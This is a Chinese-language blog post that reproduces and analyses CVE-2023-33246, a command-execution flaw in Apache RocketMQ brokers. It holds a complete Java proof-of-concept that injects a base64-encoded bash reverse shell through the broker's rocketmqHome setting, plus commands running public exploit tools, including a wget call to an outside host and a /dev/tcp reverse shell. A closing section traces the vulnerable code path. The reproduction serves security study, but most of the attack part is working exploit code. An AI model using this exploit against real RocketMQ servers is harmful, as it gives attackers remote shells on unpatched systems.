当前位置:   article > 正文

CVE-2023-33246命令执行复现分析

cve-2023-36900复现
简介

RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。

影响版本

<=RocketMQ 5.1.0

<=RocketMQ 4.9.5

环境搭建
docker pull apache/rocketmq:4.9.4
6d8746d23ebb6ef75f86715f69fd1616.png
root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv      //起nameserver

创建broker.conf,并且修改配置文件内容

e9abd967dd18e694143a09f5e9a248f4.png
root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf    //起Broker
00045e4df6d26beb28dd93b9ec74c8f0.png
docker ps
913d2bbd85187f9983615b2879db33bc.png

http://127.0.0.1:10912/

abdd0f4f856c84bfb4b9af116f1a5f94.png
python3 check.py --ip 10.10.14.72 --port 9876
d2867a24939dfa70e9767ce9dec72b24.png
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt
483fb30a58cd00a4c881a50699bcd028.png

使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题

  1. cd vulhub/rocketmq/CVE-2023-33246
  2. docker-compose up -d

POC如下

  1. import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
  2. import java.util.Base64;
  3. import java.util.Properties;
  4. public class poc {
  5.     private static String getCmd(String ip, String port) {
  6.         String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
  7.         String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
  8.         return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
  9.     }
  10.     public static void main(String[] args) throws Exception {
  11.         String targetHost = "目的IP";
  12.         String targetPort = "10911";
  13.     
  14.         String shellHost = "VPSIP";
  15.         String shellPort = "Listen-port";
  16.     
  17.         String targetAddr = String.format("%s:%s",targetHost,targetPort);
  18.         Properties props = new Properties();
  19.         props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
  20.         props.setProperty("filterServerNums""1");
  21.         // 创建 DefaultMQAdminExt 对象并启动
  22.         DefaultMQAdminExt admin = new DefaultMQAdminExt();
  23. //        admin.setNamesrvAddr("0.0.0.0:12345");
  24.         admin.start();
  25.         // 更新配置⽂件
  26.         admin.updateBrokerConfig(targetAddr, props);
  27.         Properties brokerConfig = admin.getBrokerConfig(targetAddr);
  28.         System.out.println(brokerConfig.getProperty("rocketmqHome"));
  29.         System.out.println(brokerConfig.getProperty("filterServerNums"));
  30.         // 关闭 DefaultMQAdminExt 对象
  31.         admin.shutdown();
  32.     }
  33. }

使用IDEA创建maven项目,创建xml文件下载依赖,下载地址

https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4

4b0b75f7a78f3e58117fc781d61ccace.png
  1. <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
  2. <dependency>
  3.     <groupId>org.apache.rocketmq</groupId>
  4.     <artifactId>rocketmq-tools</artifactId>
  5.     <version>4.9.4</version>
  6. </dependency>
23840d113971a72a70d2acb400eee69e.png

修改POC

  1. import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
  2. import java.util.Base64;
  3. import java.util.Properties;
  4. public class poc {
  5.     private static String getCmd(String ip, String port) {
  6.         String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
  7.         String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
  8.         return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
  9.     }
  10.     public static void main(String[] args) throws Exception {
  11.         String targetHost = "10.10.14.72";
  12.         String targetPort = "10911";
  13.     
  14.         String shellHost = "10.10.14.72";
  15.         String shellPort = "65532";
  16.     
  17.         String targetAddr = String.format("%s:%s",targetHost,targetPort);
  18.         Properties props = new Properties();
  19.         props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
  20.         props.setProperty("filterServerNums""1");
  21.         // 创建 DefaultMQAdminExt 对象并启动
  22.         DefaultMQAdminExt admin = new DefaultMQAdminExt();
  23. //        admin.setNamesrvAddr("0.0.0.0:12345");
  24.         admin.start();
  25.         // 更新配置⽂件
  26.         admin.updateBrokerConfig(targetAddr, props);
  27.         Properties brokerConfig = admin.getBrokerConfig(targetAddr);
  28.         System.out.println(brokerConfig.getProperty("rocketmqHome"));
  29.         System.out.println(brokerConfig.getProperty("filterServerNums"));
  30.         // 关闭 DefaultMQAdminExt 对象
  31.         admin.shutdown();
  32.     }
  33. }

反弹结果

399b702a2bad6c1c4bc68e9682ea6d86.png
  1. git clone https://github.com/SuperZero/CVE-2023-33246.git
  2. java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt"
826cc714cdf043dbeed3d7142b8d7c9d.png

进入容器,查看根部录下文件是已写入

5a39d40a53e1d67fc24cf80089c0857d.png
java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1"

反弹shell

c3c143e9d4008ec85c4500540ece07aa.png
漏洞分析

启动broker路由如下:

  1. main:50, BrokerStartup (org.apache.rocketmq.broker)
  2. start:55, BrokerStartup (org.apache.rocketmq.broker) 
  3. start:1570, BrokerController (org.apache.rocketmq.broker) 
  4. startBasicService:1527, BrokerController (org.apache.rocketmq.broker) 
  5. start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv)

当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行

f96707c9573956b6f3ec597d368de937.png

调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand

307de555978fbce55685db7ff104eb30.png

该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd

033ad003ebd66819ed7a1954894ed2b3.png

进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令

a302ada8080085185d81cfdf68c95d8a.png

该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。

931fa2f938256c97282a083a4e2b1e8a.png

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

9150f9d290d3108c5eb90eb82071e8e8.gif

靶场实操,戳“阅读原文

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/933269
推荐阅读
相关标签
  

闽ICP备14008679号